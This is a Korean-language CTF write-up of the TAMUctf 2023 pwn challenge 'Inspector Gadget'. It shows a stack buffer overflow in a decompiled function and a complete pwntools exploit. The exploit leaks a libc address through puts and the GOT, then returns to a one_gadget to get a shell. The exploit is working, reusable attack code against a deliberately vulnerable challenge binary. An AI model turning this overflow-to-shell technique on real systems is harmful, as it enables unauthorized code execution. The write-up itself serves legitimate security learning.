CTF/Solved

TAMUctf 2023 - Inspector Gadget

wyv3rn 2023. 5. 1. 03:00
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

ssize_t pwnme()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("pwn me");
  return read(0, buf, 0x60uLL);
}

2.2. 분석

main 함수는 pwnme 함수를 불러오는 역할만 하기에 패스.

16바이트 버퍼에 0x60 바이트를 입력 받기 때문에 오버플로우가 발생한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

단순 오버플로우

3.2. 공격 준비

문제 파일과 함께 libc 파일도 주어지기 때문에 pwnme 함수 종료 시 onegadget으로 return 해주었다.

다만, 한번만 입력할 수 있으며, libc 영역 leak이 필요하기 때문에 페이로드 초기에는 leak 후 main으로 return 하였고,

이후 onegadget address로 return 하였다.

 

4. exploit

from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="inspector-gadget")
#p = process('./inspector-gadget')
e = ELF('./inspector-gadget', checksec = False)

ogt_offset = [280959, 281043, 938758]

rdi = 0x000000000040127b
rsi = 0x0000000000401279

pay = b'A'*(8*3)
pay += p64(e.symbols['main'])
p.sendlineafter(b'pwn me\n', pay)

pay = b'A'*(8*3)
pay += p64(rdi) + p64(e.got['puts'])
pay += p64(e.plt['puts'])

pay += p64(e.symbols['main'])
p.sendlineafter(b'pwn me\n', pay)
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
libc_base = leak - 0x71a40
ogt = libc_base + ogt_offset[1]

pay = b'A'*(8*3)
pay += p64(ogt)
p.sendlineafter(b'pwn me\n', pay)

p.interactive()
728x90
반응형